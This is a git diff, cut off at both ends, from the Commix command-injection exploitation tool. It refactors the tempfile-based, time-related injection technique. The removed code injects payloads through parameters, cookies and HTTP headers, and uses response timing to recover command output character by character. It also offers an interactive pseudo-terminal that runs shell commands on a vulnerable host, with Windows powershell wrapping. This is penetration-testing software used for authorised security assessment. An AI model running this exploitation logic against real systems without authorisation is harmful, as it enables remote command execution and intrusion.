suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - # Yaw, got shellz! - # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - if whitespace == "%20": - whitespace = " " - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False - else: - settings.LOAD_SESSION = False - - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == "win": - time.sleep(1) - - new_line = False - # Check for any enumeration options. - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = True - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - if not new_line: - new_line = True - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - - # Check if defined single cmd. - if menu.options.os_cmd: - check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - logs.print_logs_notification(filename, url) - raise SystemExit() - - if settings.VERBOSITY_LEVEL != 0 or not new_line: - print(settings.SINGLE_WHITESPACE) - try: - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - print("\n" + settings.print_output(output) + "\n") - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - - else : - sys.stdout.write("\r") - sys.stdout.flush() +def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): + settings.WEB_ROOT = "" # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = True + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True + + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED - if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: - settings.TIME_RELATIVE_ATTACK = False - settings.TEMPFILE_BASED_STATE = False + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index dcaba9fbe8..bc181c9a62 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,563 +3,33 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads +from src.core.injections.controller import injector """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else : - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined method is GET (Default). - if not menu.options.data: - payload = payload.replace("#","%23") - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - if menu.options.file_write or menu.options.file_upload : - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - for output_length in range(int(minlen), int(maxlen)): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "'." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" - else: - info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - # Get the execution ouput, of shell execution. - if alter_shell : - payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE +"'." - info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - else: - output.append(chr(ascii_char)) - injection_check = False - break - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - else: - check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - - check_how_long = 0 - output = "" - - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response): - - if settings.TARGET_OS == "win": - previous_cmd = cmd - if alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - - # Varying the sleep time. - timesec = timesec + random.randint(1, 5) +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - # Checking the output length of the used payload. - for output_length in range(1, 3): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == "win": - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - sys.stdout.flush() - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 9): - - # Get the execution ouput, of shell execution. - if alter_shell: - payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - return how_long, output - else: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif 